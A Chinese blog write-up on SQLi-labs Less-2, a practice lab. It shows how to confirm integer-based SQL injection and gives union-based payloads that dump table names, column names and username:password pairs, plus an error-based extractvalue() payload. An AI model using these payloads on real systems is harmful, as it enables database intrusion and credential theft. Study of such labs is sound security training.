漫漫SQL lab学习路 less-2篇

在具备less 1的基础后,深入理解SQL注入漏洞。通过?id=1'、1=1及1=2的测试,确认为整数型注入。文章介绍如何爆表名、列名和值,特别探讨了利用extractvalue()函数进行WP的另一种方法,强调了extractvalue()函数的查询限制和substring()的使用场景。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

less 2:
有了less 1 的基础,我们就直接进入正题
输入?id=1’ 报错
输入?id=1 and 1=1正常显示
输入?id=1 and 1=2 报错
说明这是一个整数型的注入漏洞
有了less 1的铺垫我们就不用order by猜列数了
爆表名:

1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

在这里插入图片描述
接着爆列名

1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

在这里插入图片描述
爆值

1 and 1=2 union select 1,2,group_concat(username,0x3a,password) from users

在这里插入图片描述

另外一种wp:

1 and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from    information_schema.tables where table_schema=database()))) 

在这里插入图片描述
利用extravalue()
extractvalue() :对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
所以当我们在extractvalue()第二个参数写入错误的格式,就会返回我们写入的想要查询的内容
0x7e是波浪号`,以~开头的内容不是xml格式的语法
有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值